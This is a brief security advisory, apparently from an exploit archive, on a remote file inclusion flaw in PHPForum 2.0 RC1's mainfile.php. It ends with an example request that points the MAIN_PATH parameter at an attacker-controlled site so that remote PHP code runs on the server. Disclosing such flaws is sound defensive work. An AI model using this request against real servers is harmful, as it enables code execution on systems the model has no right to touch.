PHPForum 2.0 RC1 - 'Mainfile.php' Remote File Inclusion
source: https://www.securityfocus.com/bid/8158/info
phpForum is prone to a vulnerability that may permit remote attackers to include and execute malicious PHP scripts. This could be exploited to execute malicious PHP commands in the context of the web server process.
http://www.example.com/forum/mainfile.php?MAIN_PATH=[attacker's site]